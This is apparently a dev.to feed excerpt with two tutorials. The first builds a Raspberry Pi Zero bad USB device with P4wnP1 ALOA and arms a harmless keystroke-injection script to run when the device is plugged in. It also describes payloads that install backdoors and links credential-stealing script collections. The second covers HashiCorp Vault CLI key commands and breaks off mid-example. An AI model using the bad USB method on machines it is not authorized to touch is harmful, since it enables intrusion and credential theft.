&lt;li&gt;Put the dongle board on top so that the backside of the extruding pins aligns&lt;/li&gt;
&lt;li&gt;Put the thicker acryl board on top, aligning with the pins outward facing direction&lt;/li&gt;
&lt;li&gt;Put the RPI Zero with the bottom side down and align the connector pins with the touchpoints&lt;/li&gt;
&lt;li&gt;Carefully tighten the screws&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The resulting device should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiodpglatu3sueb2unae3.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiodpglatu3sueb2unae3.jpg" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Software Installation &amp;amp; First Boot
&lt;/h2&gt;

&lt;p&gt;To turn the RPI Zero into a hacking device, the Linux Distribution &lt;a href="https://github.com/RoganDawes/P4wnP1_aloa" rel="noopener noreferrer"&gt;P4wnP1 ALOA&lt;/a&gt; - called PPA from here -  will be used. This is a custom Linux distribution, build on top of Kali Linux and specifically modified to run on the RPI Zero. As any other OS, the installation encompasses downloading the image, flashing it onto a SD Card, and booting the device.&lt;/p&gt;

&lt;p&gt;The specific steps in detail:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to the &lt;a href="https://github.com/RoganDawes/P4wnP1_aloa" rel="noopener noreferrer"&gt;P4wnP1 ALOA release page&lt;/a&gt; and download the latest version (Note: Don't be discouraged by the release date of February 2020 - the project works very well!)&lt;/li&gt;
&lt;li&gt;Open an image software of your choice, then flash the image (my recommendation is &lt;a href="https://www.balena.io/etcher/" rel="noopener noreferrer"&gt;Balena Etcher&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After this, put the SD Card into the device, and power it via the USB mini port.&lt;/p&gt;

&lt;p&gt;Shortly after booting, PPA creates a custom WiFi with an awkward, UTF8 icon encoded named: "💥 🖥️ 💥". Connect to it with the password &lt;code&gt;MaMe82-P4wnP1&lt;/code&gt;, and once the connection is established, you start exploring the many configuration options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tool Overview
&lt;/h2&gt;

&lt;p&gt;PPA is a special Linux distribution with flexible and run-time configurable hardware features of the Raspberry Pi Zero. It provides access to this configuration both via the Web GUI and a CLI. After reading the projects extensive documentation and using the tool for some time, the Web GUI provides more features and will be used exclusively in the remainder of this article.&lt;/p&gt;

&lt;p&gt;With an active connection to the hotspot, open &lt;code&gt;http://172.24.0.1:8000&lt;/code&gt; in a browser to access the configuration screen:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7u3e1dt5mkpn2gp24bqc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7u3e1dt5mkpn2gp24bqc.png" width="800" height="550"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Each section in this GUI is a configurable building block of the complete functionality. By learning one section at a time, the overall number of available features becomes clearer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hardware Settings
&lt;/h3&gt;

&lt;p&gt;Most sections in the tool menu directly modify the hardware features.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;USB: In this section, you define the USB properties when the Zero is connected to the targets. Available options start with the ID, serial number and vendor name, and continue with which USB functions the device offers. It can serve as an ethernet adapter, an HID device (keyboard, mouse, custom HID like pointer), as a serial interface, and as USB storage.&lt;/li&gt;
&lt;li&gt;WiFi: You can enable or disable the WiFi, change its SSID and PSK, and define its channel and visibility.&lt;/li&gt;
&lt;li&gt;Bluetooth: The Bluetooth stack provides several configuration options. The basic ones: availability, discoverability, and connectivity. Furthermore, you can configure if other devices are pairable with/without a key. BLE and Blue Toot High Speed are also supported. Lastly, different Bluetooth network encapsulation protocol services are provided: Network Access Point, Portable Area Network, and Group Ad-hoc network.&lt;/li&gt;
&lt;li&gt;Network: In this category, you can configure the concrete network interface settings for the &lt;code&gt;bteth&lt;/code&gt;, &lt;code&gt;usbeth&lt;/code&gt; and &lt;code&gt;wlan0&lt;/code&gt;. For an DHCP server, the IPv4 gateway address, client addresses and netmask, and static hosts. Alternatively, you can also configure interfaces with just static addresses or as clients.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Behavior Programming
&lt;/h3&gt;

&lt;p&gt;To create and manage scripts that are executed when the USB stick is connected to a host, you can use the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trigger Actions: A combination of an event and a concrete action. For an event, several options exist: system checkpoints during startup (Wifi AP, core services), when an USB gadget connects or disconnects, when an external WiFi AP is joined, values on group channel, and even when a GPIO input is detection. The actions can be to write a log entry, send a value to a group channel, set an output to a GPIO, as well as starting a HID script or bash script. Each trigger action can be set to run only and exactly once, or continuously every time it occurs.&lt;/li&gt;
&lt;li&gt;HID Script: The heart of exploitation scripting. PPA provides a JavaScript compatible language to program complex behavior that runs on the target machines. As provided in the documentation, special attention was given to robust and OS-agnostic keyboard interactions, including keyboard layout, timing of keystrokes, and waiting for keyboard input. Also, the mouse cursor can be controlled, and combining it with the concrete physical dimensions of the target screen, pixel perfect controls can be achieved. Finally, all JavaScript concepts can be used, giving access to functions, loops, complex conditions and much more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Log and Settings
&lt;/h3&gt;

&lt;p&gt;Two more sections complete the configurability of the PPA device.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Event Log: Shows all on-device stored log messages that PPA created during its usage. Messages are retained and persisted between boots, giving a complete picture how and when it was used.&lt;/li&gt;
&lt;li&gt;Generic Settings: The very last menu item appears a bit misleadingly named - it does not control the overall GUI, but the concrete run- and boot time behavior of PPA. Essentially, the Master Template Editor allows you to select and combine any defined USB, WiFi, Bluetooth, and Network setting, as well as the Trigger actions. With this, you specify the concrete behavior of the PPA, essentially arming the device for its intend purpose. The other options are to restart or shutdown the system, and to create or restore a backup of all user-define settings and modifications.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Writing and activating an HID Exploit
&lt;/h2&gt;

&lt;p&gt;The feature of PPA is extensive, and for a beginner exploring the device features, it might seem daunting to find a good start point. Following the project documentation closely, let’s start with a script that opens a text editor on the host and writes a message. The target OS is Linux Ubuntu.&lt;/p&gt;

&lt;p&gt;In the GUI, open the HID Script tab. The editor features syntax highlighting and remote execution for testing purposes. Paste the following code into the editor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;layout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;de&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// US keyboard layout&lt;/span&gt;
&lt;span class="nf"&gt;typingSpeed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)&lt;/span&gt;

&lt;span class="c1"&gt;//waitLED(ANY_OR_NONE);  // Wait till NUM LED of target changes frequently multiple times (doesn't work on OSX)&lt;/span&gt;

&lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CTRL ALT t&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gedit&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello from Raspberry Pi Zero&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you see, the commands relate directly to executing keystrokes on the target machines, enriched by meta-arguments to influence the typing process. The function &lt;code&gt;layout&lt;/code&gt; sets the target keyboard, and the &lt;code&gt;delay&lt;/code&gt; function defines a random time range for each keystroke, making interactions more natural. With &lt;code&gt;waitForLed&lt;/code&gt;, a specific trigger can be added, deferring the script execution until keyboard interaction is detected. This prevents executing the script when e.g. the screen is still locked by the user.&lt;/p&gt;

&lt;p&gt;Now, to run this script, two options exist. If you connected the Raspberry Zero directly to a host system, you could click on "Run". The other option is to actually program this script to be executed when the Raspberry Zero is connected to a computer. For this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Click on "Store" and define a suitable name for the script.&lt;/li&gt;
&lt;li&gt;Select the tab "Trigger Action" and click on "Add one"&lt;/li&gt;
&lt;li&gt;In the dialog, activate the "Enabled" slider, then fill out the trigger "USB gadget connected to host", and in the action field the option "start a HID script" as well as the given script name file (also see the next picture)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhvwx3zcjueoyufhpr7u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhvwx3zcjueoyufhpr7u.png" width="800" height="443"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The final step is to store and activate this trigger definition:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Still on the "Trigger Action" tab, click on "Store" to save all active triggers as a configuration&lt;/li&gt;
&lt;li&gt;Go to on "Generic Settings", and in the "Master Template Editor", select the Trigger Action template that you just stored&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it. Now you can connect the stick to a Linux host computer and see the script happening.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to Continue
&lt;/h2&gt;

&lt;p&gt;Exploring the depth of HID script to write advanced exploits is not the focus of this article. However, I explored some ideas and give my summary here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/RoganDawes/P4wnP1" rel="noopener noreferrer"&gt;P4wnP1&lt;/a&gt;: The ancestor project. It includes links to videos and presentations showing particular exploits.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/whatotter/pwnhyve" rel="noopener noreferrer"&gt;pwnhyve&lt;/a&gt;: Naming itself as a sibling project, it focuses on bad USB capabilities and the injection of shellcode into target computers.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/lgeekjopt/P4wnP1_aloa/releases/tag/pi_zero2w" rel="noopener noreferrer"&gt;pi_zero2w&lt;/a&gt; Another developer forked the project and created a version that runs on a Raspberry Pi Zero 2 W, but it with fewer Kali Linux tools and no Bluetooth support&lt;/li&gt;
&lt;li&gt;Explore HID Script language: Unfortunately, there is no written document of the language, and digging into the project source code did not reveal an approachable form to me. Considering related rubber duck scripts, the general attack vector is to use HID commands to deploy a base64 decoded scripts for the shell language of the target system (PowerShell for Windows, Bash for Linux), which is then executed to install additional malware or a backdoor.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/V0lk3n/HIDScripts" rel="noopener noreferrer"&gt;HID Script collection&lt;/a&gt;: This repository is the only other source of examples. It contains script that target Windows Systems to steal credentials and password and provides examples both in HID and in Rubber Duck script.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Small form-size single board computer can be used as hacking gadgets. This article showed how to turn a Raspberry Pi Zero into a bad USB device, a specific form of physical hacking in which an inserted USB stick executes command on the host. You only need a Raspberry Pi Zero, an USB dongle to expose the Zeros USB ports, and the PPA Linux Image. Once the initial setup is completed, the Zero turns into a WiFi and SSH accessible device with complex configuration options for all hardware features. To write a bad USB exploit, the HID language, based on JavaScript, can be used to instruct a sequence of keystrokes. This article showed only a simple exploit: Opening the systems text editor to write a message. Yet the potential for serious exploits becomes visible: By executing shell scripts on the targets, access to the system can be achieved, stealing credentials or installing malware and backdoors.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberryzero</category>
    </item>
    <item>
      <title>Hashicorp Vault CLI Part 9: Managing Encryption Keys</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 06 Apr 2026 05:09:16 +0000</pubDate>
      <link>https://dev.to/admantium/hashicorp-vault-cli-part-9-managing-encryption-keys-fi9</link>
      <guid>https://dev.to/admantium/hashicorp-vault-cli-part-9-managing-encryption-keys-fi9</guid>
      <description>&lt;p&gt;Hashicorp Vault provides many features, and the secure storage of encrypted data and secrets is at its heart. Secrets engines are dedicated plugins that govern this storage. They can be grouped into builtin, application and services, cloud, and encryption keys. While all secret engines provide a REST API for interaction, some Vault builtin engines also have dedicated CLI commands.&lt;/p&gt;

&lt;p&gt;In this article, all CLI commands for managing or using keys are explored. These commands target the transform, transit, pki and ssh secrets engines. To further the understanding of applying these commands, examples in the context of a local, three server Vault cluster will be shown.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;hashicorp_vault_v1.21.1&lt;/code&gt;, released 2025-11-18. All provided information and command examples should be valid with newer versions too, baring an update of the CLI commands' syntax&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The background material for this article stems from the official Hashicorp Vault documentation about &lt;a href="https://developer.hashicorp.com/vault/docs/commands" rel="noopener noreferrer"&gt;Vault CLI&lt;/a&gt; and subsequent pages, as well as information from the binary itself&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/vault18_cli_p9_secrets_management_encryption_keys/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vault CLI Overview
&lt;/h2&gt;

&lt;p&gt;The Vault CLI provides more than 30 commands. For systematically explaining and contextualizing each command, they can be structured as follows.&lt;/p&gt;

&lt;p&gt;Groups and commands marked with a checkmark were covered in an earlier article, and commands marked with an at sign are the focus for this article.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Initialization

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;server&lt;/code&gt;: Starts a server process&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;agent&lt;/code&gt;: Starts an agent process, a utility to communicate with a vault server to gain access to tokens&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;proxy&lt;/code&gt;: Starts a vault proxy process&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Configuration

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;operator&lt;/code&gt;: Cluster management operations, including memberships, encryption and unseal keys&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;plugin&lt;/code&gt;: Manage and install additional plugins&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;read&lt;/code&gt; / &lt;code&gt;list&lt;/code&gt;: Access stored configuration and secrets&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;write&lt;/code&gt; / &lt;code&gt;patch&lt;/code&gt;: Modify or create any data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;delete&lt;/code&gt;: Delete configuration data or secrets&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Introspection

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;status&lt;/code&gt;: Show status information of the vault server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;version&lt;/code&gt;: Shows compact version information and build timestamp&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;version-history&lt;/code&gt;: Shows detailed version information about all previously used vault server instances&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;print&lt;/code&gt;: Detailed view of the vault’s server runtime configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;path-help&lt;/code&gt;: Detailed documentation about API endpoints&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;events&lt;/code&gt;: Subscribe to the event stream of a running vault instance&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;monitor&lt;/code&gt;: Print vault log messages&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;debug&lt;/code&gt;: Shows debug information of the connected Vault server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;audit&lt;/code&gt;: Interact with connected audit devices&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Vault Enterprise

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;hcp&lt;/code&gt;: Operate a managed Hashicorp Vault cluster&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;namespace&lt;/code&gt;: Interact with configured namespaces of the cluster&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Authorization

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;policy&lt;/code&gt;: Manage policy definitions that govern all vault operations&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tokens&lt;/code&gt;: General token management&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lease&lt;/code&gt;: Manage current token leases, including renewal, revocation and TTL modification&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Authentication

&lt;ul&gt;
&lt;li&gt;✅ &lt;code&gt;auth&lt;/code&gt;: Interact with configured authentication options&lt;/li&gt;
&lt;li&gt;✅ &lt;code&gt;login&lt;/code&gt;: Authenticates access to a Vault server&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Secrets Management

&lt;ul&gt;
&lt;li&gt;✅ &lt;code&gt;secrets&lt;/code&gt;: General configuration of secret engines&lt;/li&gt;
&lt;li&gt;✅ &lt;code&gt;kv&lt;/code&gt;: Access to the essential key-value store&lt;/li&gt;
&lt;li&gt;🌀 &lt;code&gt;transform&lt;/code&gt;: Interact with the transform secrets engine&lt;/li&gt;
&lt;li&gt;🌀 &lt;code&gt;transit&lt;/code&gt;: Interact with the Vaults transit secrets engine&lt;/li&gt;
&lt;li&gt;🌀 &lt;code&gt;unwrap&lt;/code&gt;: One-time access to arbitrary encrypted data&lt;/li&gt;
&lt;li&gt;🌀 &lt;code&gt;pki&lt;/code&gt;: Access the private key infrastructure secrets engine&lt;/li&gt;
&lt;li&gt;🌀 &lt;code&gt;ssh&lt;/code&gt;: Initiates SSH sessions via the SSH secrets engine&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  General Purpose Encryption Key Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;transform&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;transform&lt;/code&gt; command allows to import a self-managed key for the purpose of defining a new generic or a special format preserving encryption tokenizer.&lt;/p&gt;

&lt;p&gt;Alas, the transform secret engine is a Vault enterprise feature. A try to mount the secret engine merely results in an error.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable &lt;/span&gt;transform

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Error enabling: Error making API request.

URL: POST http://127.0.0.1:8210/v1/sys/mounts/transform
Code: 400. Errors:

&lt;span class="k"&gt;*&lt;/span&gt; plugin not found &lt;span class="k"&gt;in &lt;/span&gt;the catalog: transform

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Retrieving wrapping key.
failed to fetch wrapping key: no mount found at transform: &amp;lt;nil&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;transit&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Normally, secret data is stored in Vault, but the transit engine instead encrypts or decrypts provided data without keeping a record of it. Therefore, it can be considered encryption-as-a-service.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;transit&lt;/code&gt; command allows to import external, self-managed keys with the &lt;code&gt;import&lt;/code&gt; or &lt;code&gt;import-version&lt;/code&gt; subcommands. Here is a full example, starting with the secret engines’ activation, key generation, and key import.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Activate the transit secret engine&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable &lt;/span&gt;transit

&lt;span class="c"&gt;# Generate the key in DER format, then encode in base64&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; openssl genpkey &lt;span class="nt"&gt;-algorithm&lt;/span&gt; ed25519 &lt;span class="nt"&gt;-outform&lt;/span&gt; DER &lt;span class="nt"&gt;-out&lt;/span&gt; ed25519.key.der 
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;cat &lt;/span&gt;ed25519.key.der| &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ed25519.key.b64

&lt;span class="c"&gt;# Import the key&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault transit import transit/keys/ed25519 @ed25519.key.b64 &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ed25519-2048"&lt;/span&gt; &lt;span class="nv"&gt;derived&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Retrieving wrapping key.
Wrapping &lt;span class="nb"&gt;source &lt;/span&gt;key with ephemeral key.
Encrypting ephemeral key with wrapping key.
Submitting wrapped key.
Success!

&lt;span class="c"&gt;# Check the key&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault &lt;span class="nb"&gt;read &lt;/span&gt;transit/keys/rsa

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Key                            Value
&lt;span class="nt"&gt;---&lt;/span&gt;                            &lt;span class="nt"&gt;-----&lt;/span&gt;
allow_plaintext_backup         &lt;span class="nb"&gt;false
&lt;/span&gt;auto_rotate_period             0s
convergent_encryption          &lt;span class="nb"&gt;false
&lt;/span&gt;deletion_allowed               &lt;span class="nb"&gt;false
&lt;/span&gt;derived                        &lt;span class="nb"&gt;true
&lt;/span&gt;exportable                     &lt;span class="nb"&gt;false
&lt;/span&gt;imported_key                   &lt;span class="nb"&gt;true
&lt;/span&gt;imported_key_allow_rotation    &lt;span class="nb"&gt;false
&lt;/span&gt;kdf                            hkdf_sha256
keys                           map[1:map[certificate_chain: creation_time:2025-12-23T08:18:13.700025+01:00 hybrid_public_key: name:ed25519 public_key:]]
latest_version                 1
min_available_version          0
min_decryption_version         1
min_encryption_version         0
name                           ed25519
supports_decryption            &lt;span class="nb"&gt;false
&lt;/span&gt;supports_derivation            &lt;span class="nb"&gt;true
&lt;/span&gt;supports_encryption            &lt;span class="nb"&gt;false
&lt;/span&gt;supports_signing               &lt;span class="nb"&gt;true
type                           &lt;/span&gt;ed25519
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;unwrap&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The conventional workflow to access secrets in Hashicorp Vault is that a user or system authorizes, retrieves a token, and accesses end points to which the policies associated with the issued token provide sufficient access rights. However, in some situations, it might not be desirable to allow access for a prolonged period of time, or it is required to access a stored secret only once. For these situations, Vault provides a feature called response wrapping. The original returned data is encrypted and stored in a cubbyhole secret, and a token to decrypt this secret is returned instead. To retrieve this secret, the unwrap function can be used.&lt;/p&gt;

&lt;p&gt;The following example shows how to create a secret in a KV store, then wrapping the secret access, and then to unwrap it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;--version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Enabled the kv secrets engine at: kv/

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv put kv/data/config-db &lt;span class="nv"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0ab84480a1efb802c1bd2 

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; Secret Path &lt;span class="o"&gt;=====&lt;/span&gt;
kv/data/data/config-db

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-15T08:48:25.820085Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            1

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get &lt;span class="nt"&gt;-wrap-ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1m kv/data/config-db

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Key                              Value
&lt;span class="nt"&gt;---&lt;/span&gt;                              &lt;span class="nt"&gt;-----&lt;/span&gt;
wrapping_token:                  hvs.CAESIKQIDe0zG0kMxKAMQVtk5n6dkt6FJ-1BOgkybvh1sddvGh4KHGh2cy43NTJGdG0xd1pqRkpMVnA2VExOS1ZWb00
wrapping_accessor:               B5rcG14qOl1y0SXUmpnr6J1n
wrapping_token_ttl:              1m
wrapping_token_creation_time:    2025-12-15 09:50:02.085264 +0100 CET
wrapping_token_creation_path:    kv/data/data/config-db

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault unwrap hvs.CAESIKQIDe0zG0kMxKAMQVtk5n6dkt6FJ-1BOgkybvh1sddvGh4KHGh2cy43NTJGdG0xd1pqRkpMVnA2VExOS1ZWb00

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Key         Value
&lt;span class="nt"&gt;---&lt;/span&gt;         &lt;span class="nt"&gt;-----&lt;/span&gt;
data        map[admin:0ab84480a1efb802c1bd2]
metadata    map[created_time:2025-12-15T08:48:25.820085Z custom_metadata:&amp;lt;nil&amp;gt; deletion_time: destroyed:false version:1]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Encryption Key Management
&lt;/h2&gt;

&lt;p&gt;The pki secrets engine allows Vault to become an automated certificate issuer. Covering the complete lifecycle, from CSR to CER and revocation, external systems can get certificates as required.&lt;/p&gt;

&lt;p&gt;With the &lt;code&gt;vault pki&lt;/code&gt; command, several subcommands for certificate issuing and revocation are offered. Internally, they will perform a sequence of CRUD operations, reading from and writing to several endpoints. To operate the engine with its full functionality, the general CRUD methods need to be used, which were covered in my earlier article &lt;a href="https://admantium.com/blog/vault12_cli_p3_plugin_and_general_crud_configuration" rel="noopener noreferrer"&gt;Plugin Management and General CRUD Operations&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To cover the certificate creation process from root to intermediate, the Vault documentation suggests to use multiple pki engines at different mount points. Following commands create the required example context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
